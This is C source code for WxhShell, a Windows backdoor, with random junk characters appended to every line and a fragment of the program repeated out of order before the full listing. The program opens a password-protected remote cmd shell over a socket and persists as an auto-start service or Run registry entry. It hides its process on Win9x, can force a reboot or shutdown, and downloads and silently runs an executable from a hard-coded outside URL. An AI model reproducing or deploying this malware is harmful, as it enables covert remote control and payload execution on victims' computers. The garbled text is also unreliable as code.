    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -e*(+  
    else { - KaU@t  
    closesocket(wsh); cA!o xti  
    ExitThread(0);  '^,|8A2  
    } uC 2{ Mmy  
    break; V?jot<|$  
    } rp!{QG  
  // 关机 l<s6Uu"  
  case 'd': { <VT|R~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); okbW.  ~  
    if(Boot(SHUTDOWN)) [R/'hH5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qf}}/k|)k  
    else { TM,Fab &  
    closesocket(wsh); g6.Tx]?b$  
    ExitThread(0); (.g?|c  
    } zf[KZ\6H   
    break; }eLth0d`'o  
    } 4ZT0~37(  
  // 获取shell *k;%H'2g{}  
  case 's': { QU)AgF[  
    CmdShell(wsh); $#J  
    closesocket(wsh); @$o^(my  
    ExitThread(0); -8Uz8//A  
    break; iE"+-z\U  
  } A_|X54}w&  
  // 退出 Twk,R. O  
  case 'x': { \U HI%1^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xG,L*3c{o  
    CloseIt(wsh); OH`|aqN  
    break; I@I-QiI  
    } -1]8f  
  // 离开 U#(#U0s*-  
  case 'q': { %I%OHs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \7 *"M y*  
    closesocket(wsh); qW9~S0sl  
    WSACleanup(); B>e},!  
    exit(1); 4@Xd(F_d  
    break; j\uPOn8k  
        } >s>{+6e  
  } Uc]sWcR  
  } `& ]H`KNa  
OUtMel_  
  // 提示信息 j55OG~)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5_Oxl6#  
} p4wx&VLi  
  } Q;2n  
* o#P)H  
  return; [^\HP] *Q{  
} _4X3g%nXl  
 I8  
// shell模块句柄 E:$r" oS  
int CmdShell(SOCKET sock) ac/<N%  
{ 4+B OS ~  
STARTUPINFO si; ^ZDpG2(zk  
ZeroMemory(&si,sizeof(si)); QlH,-]N$L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <U2Un 0T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3t:/Guyom8  
PROCESS_INFORMATION ProcessInfo; G`FY[^:  
char cmdline[]="cmd"; RH0J#6C/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dC 8,  
  return 0; ,<]~/5-f  
} =~'{2gsB  
o=I.i>c  
// 自身启动模式 q#P@,|nc:  
int StartFromService(void) &u9@FFBT8  
{ n~?n+\.&a  
typedef struct Aiqn6BX{  
{ G!5~`v  
  DWORD ExitStatus; ]Jx_bs~g  
  DWORD PebBaseAddress; =g$>]AE  
  DWORD AffinityMask; }/.GB5Ej  
  DWORD BasePriority; [> LL  
  ULONG UniqueProcessId; ]E}eM@xdD  
  ULONG InheritedFromUniqueProcessId; }\ hz@G<  
}   PROCESS_BASIC_INFORMATION; p JM&R<i:  
`(lD]o{,s  
PROCNTQSIP NtQueryInformationProcess; fz W!-  
9wpV} .(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~zL DLr=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tZ_D.syBAc  
QK(w2`  
  HANDLE             hProcess; .%x%(olf  
  PROCESS_BASIC_INFORMATION pbi; V-w{~  
Y]: Ch (Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d\j[O9W>  
  if(NULL == hInst ) return 0; Tu_4kUCR!f  
^y<8 &ZFH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6"u"B-cz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,?`Zrxe[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k/2TvEV3=  
-=a,FDeR  
  if (!NtQueryInformationProcess) return 0; nn{PhyK  
_?c7{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i6$q1*  
  if(!hProcess) return 0; 6~!l7HqO  
oS#PBql4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; noQS bI @  
4ZrRgx2MD  
  CloseHandle(hProcess); P,={ C6*  
Hm 17El68  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0{ !+N6MiR  
if(hProcess==NULL) return 0; uxsi+vkI  
L_Lhmtm}m  
HMODULE hMod; @agxu-Y  
char procName[255]; KU*XRZu)  
unsigned long cbNeeded; Q;y)6+VU4  
<@J0 770  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HCZVvsG  
G)3Q|Vc  
  CloseHandle(hProcess); P|QM0GI  
4~Jg\@  
if(strstr(procName,"services")) return 1; // 以服务启动 J @^Ypq  
#B!<gA$/  
  return 0; // 注册表启动 tlpTq\;  
} JbXd9AMh2  
^H~g7&f9?N  
// 主模块 ISi^BFU  
int StartWxhshell(LPSTR lpCmdLine) W|AK"vf  
{ GVld]ioycG  
  SOCKET wsl; agp7zw=N  
BOOL val=TRUE; EdC/]  
  int port=0; tM3Q;8gB!  
  struct sockaddr_in door; TWSx9ii!M:  
JbLHW26pl  
  if(wscfg.ws_autoins) Install(); i.0.oy>  
87yZd8+)  
port=atoi(lpCmdLine); G:i>MJbxT  
 r74' _y  
if(port<=0) port=wscfg.ws_port; :fA|J!^b[  
/<T3^/ '  
  WSADATA data; s&F& *5W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ';KWHk8C  
84A:Rd'k3)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j kV9$W0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I T?~`vi  
  door.sin_family = AF_INET; );=0cnr3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s |!lw  
  door.sin_port = htons(port); 1Ms_2  
8M8Odz\3 q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *IWWD\U  
closesocket(wsl); 1w'W)x  
return 1; 6\vaR#  
} yz^4TqJ  
*~Sv\L  
  if(listen(wsl,2) == INVALID_SOCKET) { 0t2n7Y?N  
closesocket(wsl); V2 >+s y  
return 1; - `{T?  
} usR+ZQaA  
  Wxhshell(wsl); aI_[h v  
  WSACleanup(); "2z&9`VIY  
a7n`(}?Y  
return 0; 7[ZoUWx  
vE&K!k`  
} 9NeHN@D)  
Y@ X>ejk"  
// 以NT服务方式启动 )LTX.Kg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V)A7q9Bum  
{ xv~Sk2Z+d  
DWORD   status = 0; rr]-$]Q  
  DWORD   specificError = 0xfffffff; p9![8VU  
cyBm,!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K@tELYb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -S7i':  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O'h f8w  
  serviceStatus.dwWin32ExitCode     = 0; dF$&fo%  
  serviceStatus.dwServiceSpecificExitCode = 0; ;e0-FF+  
  serviceStatus.dwCheckPoint       = 0; TGHyBPJb  
  serviceStatus.dwWaitHint       = 0; (Rh$0^)A  
2hsRYh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uSUog+i  
  if (hServiceStatusHandle==0) return; C2H2*"  
W#kd[Wi  
status = GetLastError(); <RuLIu  
  if (status!=NO_ERROR) {'sp8:$a  
{ %\T#Ik~3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m\G45%m  
    serviceStatus.dwCheckPoint       = 0; #@L5yy2  
    serviceStatus.dwWaitHint       = 0; 1|:'jK#gE  
    serviceStatus.dwWin32ExitCode     = status; /<1zzeHRSD  
    serviceStatus.dwServiceSpecificExitCode = specificError; +h@ZnFp3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oc;4;A-;`c  
    return; DO6 pv  
  } xM=?ES  
Jk;dtLL}4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QXEz  
  serviceStatus.dwCheckPoint       = 0; ~rlPS#]o  
  serviceStatus.dwWaitHint       = 0; !GnwE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g[ N3jt@  
} TjicltQi4  
X}g"_wN,g>  
// 处理NT服务事件,比如:启动、停止 W:hTRq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2`J#)f|  
{ ( 'Ha$O72  
switch(fdwControl) *#83U?  
{ M)3'\x :  
case SERVICE_CONTROL_STOP: `#4q7v~>oe  
  serviceStatus.dwWin32ExitCode = 0; VUC_|=?dL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /sr. MT  
  serviceStatus.dwCheckPoint   = 0; yVWt%o/  
  serviceStatus.dwWaitHint     = 0; cCs@[D#O1  
  { d)GR]^=r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |k#EYf#Y  
  } pgPm0+N  
  return; {01^xn.  
case SERVICE_CONTROL_PAUSE: M[P1hFuna  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .rQcg.8/B  
  break; N?IdaVLj  
case SERVICE_CONTROL_CONTINUE: }Z)YK}_1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wRg[Mu,Q5  
  break; e!vWGnY  
case SERVICE_CONTROL_INTERROGATE: Zn:]?%afdO  
  break; kQ"Ax? b  
}; oiOu169]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iUq_vQ@} }  
} @H}{?-XyA  
z9w]{Zd_,d  
// 标准应用程序主函数 NIHcX6Nw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U/ax`_  
{ pnUL+UYeM  
mQ3gp&d3W  
// 获取操作系统版本 5w5"rcV  
OsIsNt=GetOsVer(); 0E9 lv"3o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KQ ^E\,@o  
SgkW-#  
  // 从命令行安装 i ^, $/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5?.!A 'zb  
A@Cvx7X  
  // 下载执行文件 8S5Q{[!  
if(wscfg.ws_downexe) { #vc!SI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M zF,is  
  WinExec(wscfg.ws_filenam,SW_HIDE); F~/~_9RJ  
} rpc;*t+z  
&5*t*tI  
if(!OsIsNt) { lo-VfKvy  
// 如果时win9x,隐藏进程并且设置为注册表启动 xeKm} MN]S  
HideProc(); ,YRBYK:  
StartWxhshell(lpCmdLine); #Q BW%L  
} JsEnhE}]  
else WR_B:%W.  
  if(StartFromService()) 4#W*f3d[@:  
  // 以服务方式启动 EqOhzII^  
  StartServiceCtrlDispatcher(DispatchTable); loUZD=Ph  
else *VaQ\]:d  
  // 普通方式启动 +_jM$?:F}  
  StartWxhshell(lpCmdLine); 3Xy~ap>Y  
bI8')a  
return 0; U+aiH U9  
} &{q<  
t"OP*  
`|mV~F|  
qDgy7kkQ  
=========================================== op3a*KG  
k> ~D  
$01~G?:]`  
9*XT|B  
HY;kV6g{P  
/J9Or{#r  
" 0IZF%`  
%3. np  
#include <stdio.h> dh1 N/[  
#include <string.h> ED);2*qP}  
#include <windows.h> \+&)9 !K  
#include <winsock2.h> Pa"Kk9!o36  
#include <winsvc.h> Yp\Y]pym  
#include <urlmon.h> ?1r<`o3l\  
{XV 'C @B  
#pragma comment (lib, "Ws2_32.lib") !_oR/)  
#pragma comment (lib, "urlmon.lib") uX%$3k  
w-C%,1F,/  
#define MAX_USER   100 // 最大客户端连接数 =E-o@#BS  
#define BUF_SOCK   200 // sock buffer O\6gw$  
#define KEY_BUFF   255 // 输入 buffer 5BK3ix*L  
Cxe(iwa.  
#define REBOOT     0   // 重启 1$^r@rP  
#define SHUTDOWN   1   // 关机 /FjdcH=  
G-,0mo  
#define DEF_PORT   5000 // 监听端口 OLV3.~T  
>CwI(vXn  
#define REG_LEN     16   // 注册表键长度 Eo6qC?5<  
#define SVC_LEN     80   // NT服务名长度 7Sh1QDYZ  
tKds|0,j|  
// 从dll定义API CWJN{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f{u S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;f=.SJF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GL,[32~C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e [6F }."c  
Ggy?5N7P  
// wxhshell配置信息 N^AlhR^  
struct WSCFG { Spn)M79  
  int ws_port;         // 监听端口 BkY#wJ'  
  char ws_passstr[REG_LEN]; // 口令 ab#z&jg!  
  int ws_autoins;       // 安装标记, 1=yes 0=no BB_(!omq[  
  char ws_regname[REG_LEN]; // 注册表键名 OX?E3 <8`  
  char ws_svcname[REG_LEN]; // 服务名 L[<CEk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ > ?C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^/#8 "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h"'}Z^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M#Q"h5l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wWSE[S$V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G[u{! 2RS  
: %uaaFl  
}; d[nz0LI|mk  
U* uMMb}$  
// default Wxhshell configuration b *3h}n;  
struct WSCFG wscfg={DEF_PORT, \HQ.Pwr 6  
    "xuhuanlingzhe", Ocn@JOg  
    1, qE VpkvEq  
    "Wxhshell", P + C5 s  
    "Wxhshell", d(Hqj#`-31  
            "WxhShell Service", 0fK#:6  
    "Wrsky Windows CmdShell Service", (:h&c6'S)b  
    "Please Input Your Password: ", =W>a~e]/  
  1, <fA}_BH%]  
  "http://www.wrsky.com/wxhshell.exe", ltMcEv-d0  
  "Wxhshell.exe" y=jZ8+M   
    }; RD;A  
O^ 5C  
// 消息定义模块 ;jO+<~YP!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |;^$IZSsz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]z| 2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }SyK)W5Y  
char *msg_ws_ext="\n\rExit."; p["pGsf  
char *msg_ws_end="\n\rQuit."; fI'+4 )@x  
char *msg_ws_boot="\n\rReboot..."; xMa9o  
char *msg_ws_poff="\n\rShutdown..."; ~yV?*"Hi  
char *msg_ws_down="\n\rSave to "; 1=ZQRJW0B  
1^ go)(Mx  
char *msg_ws_err="\n\rErr!"; }lCQ+s!  
char *msg_ws_ok="\n\rOK!"; bH:C/P<x  
hlz/TIP^N3  
char ExeFile[MAX_PATH]; &JD^\+7U:  
int nUser = 0; Qz_4Ms<o  
HANDLE handles[MAX_USER]; s OLjT34  
int OsIsNt; UIU6rilB  
8@|{n`n]  
SERVICE_STATUS       serviceStatus; \< a^5'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T)Q_dF.N  
"L8Hgwg  
// 函数声明 Ekh)l0 l  
int Install(void); G({VK  
int Uninstall(void); TI0=nfj  
int DownloadFile(char *sURL, SOCKET wsh); 4 Lz[bI  
int Boot(int flag); ?FEh9l)d\  
void HideProc(void); oq b(w+<  
int GetOsVer(void); B}K<L\S  
int Wxhshell(SOCKET wsl); J,s:CBCGL  
void TalkWithClient(void *cs); FMzG6nrdBN  
int CmdShell(SOCKET sock); 6&L;Sw#Dg  
int StartFromService(void); @\>7 wt_'  
int StartWxhshell(LPSTR lpCmdLine); +}:2DXy@  
3df5 e0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OYb:);o,iE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |`fuu2W!  
c0w1 N]+Ne  
// 数据结构和表定义 ps:E(\  
SERVICE_TABLE_ENTRY DispatchTable[] = n36iY'<)G  
{ "$ISun=8  
{wscfg.ws_svcname, NTServiceMain}, -Rr !J37  
{NULL, NULL} V 'fri/Z  
}; 8Z)wot  
?crK613 t  
// 自我安装 l-x-  
int Install(void) Vs Z7 n~e  
{ ]86*k %A  
  char svExeFile[MAX_PATH]; H\a\xCP3  
  HKEY key; :)kHXOb.  
  strcpy(svExeFile,ExeFile); $Il  
}wI +e Mr  
// 如果是win9x系统,修改注册表设为自启动 $ub0$S/Hu  
if(!OsIsNt) { VN$7r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YkFERIa076  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,p!IFS`  
  RegCloseKey(key); &l4kwds R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L:Mjd47L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -8d z`o}  
  RegCloseKey(key); +rhBC V  
  return 0; E]S:F3  
    } K$r)^K=s  
  } .YP&E1lNi  
} 73SH[f[g  
else { {.DY\;Q  
^+k= ;nl  
// 如果是NT以上系统,安装为系统服务 `tXd?E/e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %|>D{q6C  
if (schSCManager!=0) Q ;5A~n  
{ 6#\:J0  
  SC_HANDLE schService = CreateService u1d%wOY  
  ( @gM}&G08  
  schSCManager, xVN!w\0  
  wscfg.ws_svcname, 3Wx\Liw,  
  wscfg.ws_svcdisp, C@<gCMj,"  
  SERVICE_ALL_ACCESS, #7}YSfm^6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xr7M#n  
  SERVICE_AUTO_START, <Z\{ijfvD  
  SERVICE_ERROR_NORMAL, 2vb qz  
  svExeFile, MD3iWgM  
  NULL, ^&$86-PB/  
  NULL, Tks"GlE*D  
  NULL, '$J M2 u  
  NULL, {) sE;p-  
  NULL }U4mXkZF  
  ); iM9^.  
  if (schService!=0) oTcf[<   
  { EWv[Sp  
  CloseServiceHandle(schService); |WfL'_?$  
  CloseServiceHandle(schSCManager); e"*ho[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L {&=SR.  
  strcat(svExeFile,wscfg.ws_svcname);  Vo%Z|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c%(Nd i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e ~cg  (.  
  RegCloseKey(key); |x>5T}  
  return 0; qZv@ULluc  
    } Kltqe5  
  } Wt=@6w&  
  CloseServiceHandle(schSCManager); 'C#[iRG4  
} k2PK4Ua_}q  
} Z)@[N 6\?  
>ffC?5+  
return 1; L =M'QJl9  
} U;"J8  
 C ?'s  
// 自我卸载 s<aG  
int Uninstall(void) |`V=hqe{  
{ E\cX  
  HKEY key; 6o5,d]  
dO,; k +  
if(!OsIsNt) { ,e'"SVQc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Np+pJc1  
  RegDeleteValue(key,wscfg.ws_regname); uY/C iTWr  
  RegCloseKey(key); {zLgLBM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^!n|j]aw  
  RegDeleteValue(key,wscfg.ws_regname); _={mKKoHs  
  RegCloseKey(key); 3TS:H1n  
  return 0; &2O~BIRE  
  } >m{>0k(^`  
} [nrD4  
} QXl~a%lB  
else { jpTk@  
z^WY5~?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >&F:/   
if (schSCManager!=0) ?C   
{ ?I"?J/zm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mm9*$g!R  
  if (schService!=0) +4rd N\.  
  { m| 7v76(  
  if(DeleteService(schService)!=0) { oJ/=&c  
  CloseServiceHandle(schService); sBqOcy  
  CloseServiceHandle(schSCManager); VwK7\j V  
  return 0; ,q{~lf -  
  } 9>`dB  
  CloseServiceHandle(schService); h'_$I4e)  
  } V)ag ss w?  
  CloseServiceHandle(schSCManager); ^D9 w=f#a  
} \~zm_-Hw@Y  
} 2t45/:,  
^uVPN1}b^@  
return 1; b.kV>K"X3  
} E&U_@ bc-  
ZA@zs,o%  
// 从指定url下载文件 i*A_Po  
int DownloadFile(char *sURL, SOCKET wsh) GxC\Nj#  
{ raU_Z[  
  HRESULT hr; "QD>:G;u  
char seps[]= "/"; &n0Ag]$P  
char *token; =Mxu,A  
char *file; ^gR~~t;@  
char myURL[MAX_PATH]; ;lhW6;oI'  
char myFILE[MAX_PATH]; P6=5:-Hh  
^),t=!;p  
strcpy(myURL,sURL); YRd`G3J  
  token=strtok(myURL,seps); >RpMw!NT  
  while(token!=NULL) yMD0Tj5ZQ  
  { /V#? d  
    file=token; +V[;DOlll  
  token=strtok(NULL,seps); 'Z#>K*  
  } zG^$-L.n  
tT]mMlKJ  
GetCurrentDirectory(MAX_PATH,myFILE); 5Nbq9YY  
strcat(myFILE, "\\"); =ReSlt  
strcat(myFILE, file); u|D L?c>W  
  send(wsh,myFILE,strlen(myFILE),0); E]r<t#  
send(wsh,"...",3,0); o& $lik  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qG g29  
  if(hr==S_OK) sr(nd35  
return 0; [UB*39D7  
else yw89*:A6  
return 1; bMv[.Z@v(  
\%V !& !'  
} S?OCy4dk:  
\0&$ n  
// 系统电源模块 %5@> nC?`[  
int Boot(int flag) :1@jl2,  
{ ];N/KHeZ  
  HANDLE hToken; PpF`0w=1%l  
  TOKEN_PRIVILEGES tkp; |)*!&\Ch  
hFhC&2HN  
  if(OsIsNt) { ,wv>G]v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hPCSAo!|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #MiO4zXgd  
    tkp.PrivilegeCount = 1; BJ fBY H,M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0~W6IGE~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); roe_H>  
if(flag==REBOOT) { <yvo<R^30  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B[+b%a3  
  return 0; u^WZsW  
} %|j`;gYV  
else { %dhrXK5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1' dZ?`O  
  return 0; ;sz_W%-;@  
} Xr88I^F;  
  } :&2% x  
  else { 1Oak8 \G  
if(flag==REBOOT) { -SzCeq(p%5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L6ypn)l  
  return 0; cFuQ>xR1  
} ?MFXZ/3(ba  
else { Q7/Jyx|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t?=V<Yd1  
  return 0; 4\uq$.f-  
} ~SsfkM"  
} |t;Ktl  
T| R!Aw.  
return 1; rL?{+S]&^)  
} n0%S: (  
P*hYh5a  
// win9x进程隐藏模块 bQI.Qk  
void HideProc(void) w6^TwjjZ$  
{ (Fq]y5  
oU*e=uehj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y ._O m}H  
  if ( hKernel != NULL ) ,jD-fL/:  
  { .f!:@fX>=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G%h+KTw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7;?7q  
    FreeLibrary(hKernel); 57;( P  
  } ]5MT-qU  
u9]M3>  
return; %+UTs'I  
} I7t}$ S6  
Lw?>1rTT/  
// 获取操作系统版本 V|{~9^  
int GetOsVer(void) gI@nE:(m  
{ &b2@+/ F  
  OSVERSIONINFO winfo; .v9i|E=<~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TY` R_  
  GetVersionEx(&winfo); ?,[$8V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g  b[.Ww  
  return 1; \\d8ulu  
  else RtDTcaW/  
  return 0; A-$ C6q   
} pF}E`U=Z  
N~S#( .}[  
// 客户端句柄模块 5p3: 8G7  
int Wxhshell(SOCKET wsl) hl DU.k  
{ $d&7q5[  
  SOCKET wsh; 9,"gXsvx(  
  struct sockaddr_in client; &[yYgfsp  
  DWORD myID; ]2|KG3t  
4]Gm4zO  
  while(nUser<MAX_USER) -; i:bE  
{ F>%,}Y~B:  
  int nSize=sizeof(client); 2<V`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); blaXAqe  
  if(wsh==INVALID_SOCKET) return 1; .PuxF  
<N=ow"rD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z hCjY  
if(handles[nUser]==0) )_?HBTG  
  closesocket(wsh); `H^ H#W  
else j2 >WHh  
  nUser++; K;TTGK  
  } (@O,U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yC!>7@m  
x'%vL",%  
  return 0; : >$v@d  
} \oP  
?b(DDQMf  
// 关闭 socket M,Lq4bz  
void CloseIt(SOCKET wsh) ]a:T]x6'  
{ A!$sO p  
closesocket(wsh); 'p%w_VbI  
nUser--; =H}}dC<)  
ExitThread(0); YC*`n3D|'  
} !Uhcjfq`e  
X-j<fX_  
// 客户端请求句柄 M?['HoRo  
void TalkWithClient(void *cs) s(MdjWw  
{ 90H/Txq  
Y&i&H=U  
  SOCKET wsh=(SOCKET)cs; CKU)wJ5t  
  char pwd[SVC_LEN]; |m$]I4Jr  
  char cmd[KEY_BUFF]; W)Yo-%  
char chr[1]; V<KjKa+sG  
int i,j; Xxm7s S  
V:AA{<  
  while (nUser < MAX_USER) { ^[ 2siG  
]Rmu +N|  
if(wscfg.ws_passstr) { :/}=s5aQl/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =knBwjeD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D2\EpL/  
  //ZeroMemory(pwd,KEY_BUFF); = mhg@N4  
      i=0; Yg1HvSw\  
  while(i<SVC_LEN) { Z/;8eb*B7  
QxBH{TG  
  // 设置超时 ya;(D 8x)  
  fd_set FdRead; FGpV ]p  
  struct timeval TimeOut; J]Q-#g'Z  
  FD_ZERO(&FdRead); h?GE-F  
  FD_SET(wsh,&FdRead); 2k`Q+[?{q>  
  TimeOut.tv_sec=8; ~k ]$J|}za  
  TimeOut.tv_usec=0; 8,B#W#*{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G/KTF2wl7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X8XE_VtP  
2nSz0 .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @,pn/[  
  pwd=chr[0]; H\|H]:CE  
  if(chr[0]==0xd || chr[0]==0xa) { Jb8%A@Z+  
  pwd=0; U8zs=tA  
  break; }</"~Kw!  
  } op_ 1J;RF  
  i++; 2W63/kRbU  
    } Ye[Fu/0  
sWP_fb1  
  // 如果是非法用户,关闭 socket #}UI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R ggZ'.\  
} :~,V+2e  
!Jaj2mS.N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZP.~Y;Ch;-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +n|@'= ]  
tYUo;V  
while(1) { . B6mvb\  
!1bATO:x  
  ZeroMemory(cmd,KEY_BUFF); +1Rz+  
e&9v`8}   
      // 自动支持客户端 telnet标准   !@ )JqF.  
  j=0; 2W)KfS  
  while(j<KEY_BUFF) { h<BTu7a`r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -TyBb]  
  cmd[j]=chr[0]; {ka={7  
  if(chr[0]==0xa || chr[0]==0xd) { YXGxE&!  
  cmd[j]=0; s 8lfW6  
  break; h-*h;Uyc  
  } + a'nP=e&  
  j++; $,1KD3;+]  
    } @8SA^u0  
1]7v3m  
  // 下载文件 p4Xhs@.k  
  if(strstr(cmd,"http://")) { kyD*b3MN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NcIr; }  
